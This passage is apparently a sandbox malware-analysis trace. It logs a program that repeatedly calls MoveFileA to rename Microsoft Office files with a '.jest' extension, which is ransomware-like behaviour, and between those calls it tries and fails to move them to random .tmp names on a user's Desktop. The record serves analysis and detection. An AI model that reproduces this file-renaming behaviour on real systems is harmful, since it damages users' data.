pxkri4drt5kx1vqzh-i_nahukenz_wrvfe7jyg8shp6pugltju_bv6_mvcs.tmp")) returned 0 [0162.199] GetLastError () returned 0x2 [0162.200] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.jest" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.jest")) returned 1 [0162.208] GetLastError () returned 0x0 [0162.209] VarBstrFromR4 (in: fltIn=0x479455f1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.88") returned 0x0 [0162.210] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3SSoPjZNAHXuI4xDTqCsywKkwVDtIzG2SRhFpQSTDccSFFqlJCaf4J96Ez iv6kbgoXX1D_ n9TCwdfIOeqrwMlM ExsACYdHqWVM.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ssopjznahxui4xdtqcsywkkwvdtizg2srhfpqstdccsffqljcaf4j96ez iv6kbgoxx1d_ n9tcwdfioeqrwmlm exsacydhqwvm.tmp")) returned 0 [0162.210] GetLastError () returned 0x2 [0162.212] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg.jest")) returned 1 [0162.222] GetLastError () returned 0x0 [0162.223] VarBstrFromR4 (in: fltIn=0x479455f3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.9") returned 0x0 [0162.224] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2eXeEoafToJjMXSvbMJn 9E_xK2SdhsSmj0R0qWIQUpUOQAJ-2V6ngl_5saiQwQ6d7p6cHtvDYsMRaryd934d9Ys5jkH3y 4ZGo2.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2exeeoaftojjmxsvbmjn 9e_xk2sdhssmj0r0qwiqupuoqaj-2v6ngl_5saiqwq6d7p6chtvdysmraryd934d9ys5jkh3y 4zgo2.tmp")) returned 0 [0162.224] GetLastError () returned 0x2 [0162.226] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CT_ROOTS.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ct_roots.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CT_ROOTS.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ct_roots.xml.jest")) returned 1 [0162.227] GetLastError () returned 0x0 [0162.228] VarBstrFromR4 (in: fltIn=0x479455f3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.9") returned 0x0 [0162.229] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CT_ROOTS.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ct_roots.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p2HFtMTwkj8UUv-xA44tDJKrFECf3jmch-zUG2DTXumkWO4H1zNHwtOq81b6zz4dBv27POJr0gO6mlKxsiyDEEGmjoaxZh6xI7L4m.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p2hftmtwkj8uuv-xa44tdjkrfecf3jmch-zug2dtxumkwo4h1znhwtoq81b6zz4dbv27pojr0go6mlkxsiydeegmjoaxzh6xi7l4m.tmp")) returned 0 [0162.229] GetLastError () returned 0x2 [0162.233] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.jest")) returned 1 [0162.235] GetLastError () returned 0x0 [0162.235] VarBstrFromR4 (in: fltIn=0x479455f5, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.91") returned 0x0 [0162.236] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mxYFSxjSVXRwZgtz_4qXBOUYZmDv5GwkH y4U33h0FSqt_5pcKlBAly-bUv3wfoP_cZuavYR6tIjEPvu4U6sK-UmJ8R8VcFShXVk.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mxyfsxjsvxrwzgtz_4qxbouyzmdv5gwkh y4u33h0fsqt_5pcklbaly-buv3wfop_czuavyr6tijepvu4u6sk-umj8r8vcfshxvk.tmp")) returned 0 [0162.236] GetLastError () returned 0x2 [0162.238] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt.jest")) returned 1 [0162.239] GetLastError () returned 0x0 [0162.239] VarBstrFromR4 (in: fltIn=0x479455f5, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.91") returned 0x0 [0162.240] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jEKPwzX2obFqLc54ex6RjyNqjC a9DUs ZtPd0AarrcHIFBbw53DHIk- IKPq-PxwnXe-wP5p0gRTt8IxeVfIIqOGKEyhhLebG2w.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jekpwzx2obfqlc54ex6rjynqjc a9dus ztpd0aarrchifbbw53dhik- ikpq-pxwnxe-wp5p0grtt8ixevfiiqogkeyhhlebg2w.tmp")) returned 0 [0162.241] GetLastError () returned 0x2 [0162.243] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt.jest")) returned 1 [0162.245] GetLastError () returned 0x0 [0162.245] VarBstrFromR4 (in: fltIn=0x479455f5, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.91") returned 0x0 [0162.246] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_0YCrwQYWRO5-O2DSZJRLh4ZofnwGxqM-IsQseFXA 6zAv2wjhJgrK4XfYYLKSspDcmMOuELE6R Ow768bV9WflPXi66y9u4FiuH.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_0ycrwqywro5-o2dszjrlh4zofnwgxqm-isqsefxa 6zav2wjhjgrk4xfyylksspdcmmouele6r ow768bv9wflpxi66y9u4fiuh.tmp")) returned 0 [0162.247] GetLastError () returned 0x2 [0162.249] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt.jest")) returned 1 [0162.250] GetLastError () returned 0x0 [0162.250] VarBstrFromR4 (in: fltIn=0x479455f7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.93") returned 0x0 [0162.251] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ar0yzzFj1cdD4nUiVDEktDlrpE10cCRps6Xy0G3LurCSHRSfTo5iOR0fH3WJYYMYuICVnWC-cXJC1i2J99tFx4aj3Pk4AtsPdDGtu.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ar0yzzfj1cdd4nuivdektdlrpe10ccrps6xy0g3lurcshrsfto5ior0fh3wjyymyuicvnwc-cxjc1i2j99tfx4aj3pk4atspddgtu.tmp")) returned 0 [0162.252] GetLastError () returned 0x2 [0162.253] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.jest")) returned 1 [0162.254] GetLastError () returned 0x0 [0162.255] VarBstrFromR4 (in: fltIn=0x479455f7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.93") returned 0x0 [0162.256] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zG9G9mdC1Brg NbLekWPEoUsRxdc54POGRs0rLpLd-vGECuW_2GC-0ox WUCIcFzg1cLg9A26nbJSoU6caPP4dVpAMDFSkX4ClR.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zg9g9mdc1brg nblekwpeousrxdc54pogrs0rlpld-vgecuw_2gc-0ox wucicfzg1clg9a26nbjsou6capp4dvpamdfskx4clr.tmp")) returned 0 [0162.256] GetLastError () returned 0x2 [0162.257] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.jest")) returned 1 [0162.258] GetLastError () returned 0x0 [0162.258] VarBstrFromR4 (in: fltIn=0x479455f7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.93") returned 0x0 [0162.259] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\d-CxKyAH5wxHFH21br3pEwrFYJhhlgcwMxtdH_ 6B0mFep44JOb7IScduqusgJLEUsw4YgwcxhXHGUv2XFk6ooAB0OqTYCqpm8u.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\d-cxkyah5wxhfh21br3pewrfyjhhlgcwmxtdh_ 6b0mfep44job7iscduqusgjleusw4ygwcxhxhguv2xfk6ooab0oqtycqpm8u.tmp")) returned 0 [0162.259] GetLastError () returned 0x2 [0162.260] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.jest")) returned 1 [0162.262] GetLastError () returned 0x0 [0162.263] VarBstrFromR4 (in: fltIn=0x479455f7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.93") returned 0x0 [0162.264] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-VJZC9j7 WB5PTFjcNI834JrxKtALYml2 x05aCEa60O3I7_MgGHRH3FfVoZ4g9IZxu3ENG0 2ROf68_Dh92kNX3kEXC6O5KCv3.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-vjzc9j7 wb5ptfjcni834jrxktalyml2 x05acea60o3i7_mgghrh3ffvoz4g9izxu3eng0 2rof68_dh92knx3kexc6o5kcv3.tmp")) returned 0 [0162.265] GetLastError () returned 0x2 [0162.266] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.jest")) returned 1 [0162.267] GetLastError () returned 0x0 [0162.268] VarBstrFromR4 (in: fltIn=0x479455f9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.95") returned 0x0 [0162.269] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bhjQD_zy y_M9n04EB7d9M_fjhAnBDve8Dx9sS5d Sy-HhJf3fDodsbpC9Gott_zKc Y9KnUDOr8xAR63jrbQTVrPzDD_3l O_f_G.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bhjqd_zy y_m9n04eb7d9m_fjhanbdve8dx9ss5d sy-hhjf3fdodsbpc9gott_zkc y9knudor8xar63jrbqtvrpzdd_3l o_f_g.tmp")) returned 0 [0162.269] GetLastError () returned 0x2 [0162.275] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.jest")) returned 1 [0162.277] GetLastError () returned 0x0 [0162.278] VarBstrFromR4 (in: fltIn=0x479455f9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.95") returned 0x0 [0162.280] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\703J2FkoV_debTJ2XOTWxEl9cHWYrGiSTxokY8UlnYqjwfHxzMd96TcTfBlX-sYv-j0IZJHhdl2r76IHUq0ZelZqdu5sYetoC8_0.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\703j2fkov_debtj2xotwxel9chwyrgistxoky8ulnyqjwfhxzmd96tctfblx-syv-j0izjhhdl2r76ihuq0zelzqdu5syetoc8_0.tmp")) returned 0 [0162.280] GetLastError () returned 0x2 [0162.280] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.jest")) returned 1 [0162.284] GetLastError () returned 0x0 [0162.285] VarBstrFromR4 (in: fltIn=0x479455fb, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.96") returned 0x0 [0162.286] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZIkIkfkZT5EJbmqP2pKrxKBG4xOW1GA2k nLJnkDD Bn7tw2vxCMSmL4xPdt2F9yAE5FmuWCxtZtdEzWuYL gGF9EcPhwP8J9uU.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zikikfkzt5ejbmqp2pkrxkbg4xow1ga2k nljnkdd bn7tw2vxcmsml4xpdt2f9yae5fmuwcxtztdezwuyl ggf9ecphwp8j9uu.tmp")) returned 0 [0162.286] GetLastError () returned 0x2 [0162.287] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.jest")) returned 1 [0162.288] GetLastError () returned 0x0 [0162.288] VarBstrFromR4 (in: fltIn=0x479455fb, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.96") returned 0x0 [0162.290] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w3D PLdxWLkJGXBftFgZGx-0Hjt1-qevikJelle7Ve26XS2F9QEcItzOikqY0Nh0i9iGjxUAiscUFSyzXzVyDqHvdYcNHlpC5FYb.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w3d pldxwlkjgxbftfgzgx-0hjt1-qevikjelle7ve26xs2f9qecitzoikqy0nh0i9igjxuaiscufsyzxzvydqhvdycnhlpc5fyb.tmp")) returned 0 [0162.290] GetLastError () returned 0x2 [0162.292] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt.jest")) returned 1 [0162.293] GetLastError () returned 0x0 [0162.294] VarBstrFromR4 (in: fltIn=0x479455fb, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.96") returned 0x0 [0162.295] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tr7H0d6JoHoj2HsHe82j eQO21AJhEWjUOX8pKhjteq619tFhBLO1lCU61QRSdDqRQQKHwMpHtSYbll9 d-46EP7Uyy4cgHnqCF.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tr7h0d6johoj2hshe82j eqo21ajhewjuox8pkhjteq619tfhblo1lcu61qrsddqrqqkhwmphtsybll9 d-46ep7uyy4cghnqcf.tmp")) returned 0 [0162.295] GetLastError () returned 0x2 [0162.297] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.ppt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.ppt.jest")) returned 1 [0162.301] GetLastError () returned 0x0 [0162.301] VarBstrFromR4 (in: fltIn=0x479455fd, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.98") returned 0x0 [0162.303] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DnjEpfVYu93FiBYDjJhZ1CRt2PkZHKspo4flinpLegSLu k1sTMOpLjG5RuSe_tS7eW-r8zud-mj6B3JIcVyqokC57 Uky5nVQgR.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dnjepfvyu93fibydjjhz1crt2pkzhkspo4flinplegslu k1stmopljg5ruse_ts7ew-r8zud-mj6b3jicvyqokc57 uky5nvqgr.tmp")) returned 0 [0162.303] GetLastError () returned 0x2 [0162.303] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.ppt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.ppt.jest")) returned 1 [0162.305] GetLastError () returned 0x0 [0162.305] VarBstrFromR4 (in: fltIn=0x479455fd, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.98") returned 0x0 [0162.310] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AlAhfwxNV6koxYpDBsLwyTS F56vS-hApIfDwJQ2QbOnX6fXWiDtda_dI917WykhhZyykRU_hwfCVr03VZqixeZsUltrHnKqj9j4K.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\alahfwxnv6koxypdbslwyts f56vs-hapifdwjq2qbonx6fxwidtda_di917wykhhzyykru_hwfcvr03vzqixezsultrhnkqj9j4k.tmp")) returned 0 [0162.310] GetLastError () returned 0x2 [0162.312] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.jest")) returned 1 [0162.315] GetLastError () returned 0x0 [0162.315] VarBstrFromR4 (in: fltIn=0x479455ff, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.99") returned 0x0 [0162.317] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eA4bgXYtbdTF2wr2CdzeIvXj66RdYOKwVCh3LdYh-kJE-947cA_QEHkkYgl136IkKj7avLHgpi44IHKVWbq0zmlSn8_C0Y6cjQdcC.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ea4bgxytbdtf2wr2cdzeivxj66rdyokwvch3ldyh-kje-947ca_qehkkygl136ikkj7avlhgpi44ihkvwbq0zmlsn8_c0y6cjqdcc.tmp")) returned 0 [0162.317] GetLastError () returned 0x2 [0162.319] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.jest")) returned 1 [0162.320] GetLastError () returned 0x0 [0162.321] VarBstrFromR4 (in: fltIn=0x479455ff, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.99") returned 0x0 [0162.322] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9q1F5UysKfFg7aS9iYhNJdVcEG HvsMuT8sS2hJ8p5PLmVt7pM_gidOld E2Ao-5HKRJ-QLeTD4z_U Rq38Ws93bTc8Lp-2qrw1 .tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9q1f5uyskffg7as9iyhnjdvceg hvsmut8ss2hj8p5plmvt7pm_gidold e2ao-5hkrj-qletd4z_u rq38ws93btc8lp-2qrw1 .tmp")) returned 0 [0162.322] GetLastError () returned 0x2 [0162.323] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.jest")) returned 1 [0162.324] GetLastError () returned 0x0 [0162.324] VarBstrFromR4 (in: fltIn=0x479455ff, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.99") returned 0x0 [0162.325] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6AWRTxu9gUaqfM27PY2oEwKNYV5NvSHkdLUfvXvjb805N8JySB6sFclE5hOf5IfwxP5YzF AFRK4sZJQFFeHNmHFvtAr1QG gI6l.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6awrtxu9guaqfm27py2oewknyv5nvshkdlufvxvjb805n8jysb6sfcle5hof5ifwxp5yzf afrk4szjqffehnmhfvtar1qg gi6l.tmp")) returned 0 [0162.325] GetLastError () returned 0x2 [0162.329] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.jest" 